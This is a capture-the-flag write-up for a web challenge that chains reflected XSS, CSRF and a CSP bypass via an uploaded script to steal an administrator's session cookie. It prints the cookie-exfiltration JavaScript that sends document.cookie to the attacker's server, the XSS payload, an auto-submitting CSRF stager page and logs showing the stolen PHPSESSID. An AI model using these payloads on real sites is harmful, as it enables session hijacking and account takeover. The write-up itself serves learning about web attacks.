This challenge was web based and contained a mix of XSS, CSRF and CSP bypass. We were given two web pages, admin. and bot.control.insomni.hack, and challenged to break into the administration panel to take the control of the bots.

The admin page had a login form containing an obvious reflected Cross-Site Scripting (XSS). However, it was protected by a Content Security Policy (CSP) header configured as follows:

Content-Security-Policy: default-src 'self' *.control.insomni.hack

Thus, no direct exploitation is possible, but subdomains are allowed to run scripts. And here comes the second page. On this bot page, we could register a new user. After the registration, one could access the user profile and look at the JavaScript code to discover 2 hidden pages:

  • uploadpicture, an upload form that does not properly validate the input, one can input text content that can be downloaded later
  • contact, when submitting a URL in this contact form, it will be accessed automatically by an unknown user

To take advantage of these components, we assume that the unknown user accessing the URL posted in the contact form is the administrator and that he is logged into the admin webpage at the moment. We can then build the following exploitation:

  • Send a URL to the admin via the contact form, this URL contains a link to a webpage hosted on our system, stager.html
  • Our webpage contains an auto-submitting form for the admin login page and abuses the XSS to load a custom JavaScript
  • To bypass the CSP, the custom JavaScript is loaded from the profile picture of our user registered on the bot page
  • The JavaScript redirects the user to our server and appends the session cookie to the URL
  • The session cookie can be read in the logs of our web server and used to access the admin web page and capture the flag

Some details can help to grasp how the whole construction works. On the profile picture upload we upload the following JavaScript:

document.location="http://192.168.210.102/?c="+document.cookie

This file is then accessible through the URL http://bot.control.insomni.hack/uploads/4cc6c1a9b8271f844d61ddcdf6f51ee7ac4df985 and thus the payload for the auto-submitting form must be:

"><script src="http://bot.control.insomni.hack/uploads/4cc6c1a9b8271f844d61ddcdf6f51ee7ac4df985"></script>

The stager.html page that will execute the payload is:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
	<form action="http://admin.control.insomni.hack/" method="POST">
	  <input type="hidden" name="user" value="&quot;&gt;&lt;script src=&quot;http://bot.control.insomni.hack/uploads/4cc6c1a9b8271f844d61ddcdf6f51ee7ac4df985&quot;&gt;&lt;/script&gt;" />
	  <input type="hidden" name="pass" value="" />
	  <input type="submit" value="Submit request" />
	</form>
	<script>
	  document.forms[0].submit();
	</script>
  </body>
</html>

A simple web server is started using python and the URL http://192.168.210.102/stager.html is sent through the contact page:

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
10.13.37.130 - - [25/Mar/2017 02:27:43] "GET /stager.html HTTP/1.1" 200 -
10.13.37.130 - - [25/Mar/2017 02:27:43] code 404, message File not found
10.13.37.130 - - [25/Mar/2017 02:27:43] "GET /favicon.ico HTTP/1.1" 404 -
10.13.37.130 - - [25/Mar/2017 02:27:43] "GET /?c=PHPSESSID=fj01lv8d7hol08vsgd3a61fp46 HTTP/1.1" 200 -

The PHPSESSID cookie can then be used to access the admin page and get the flag: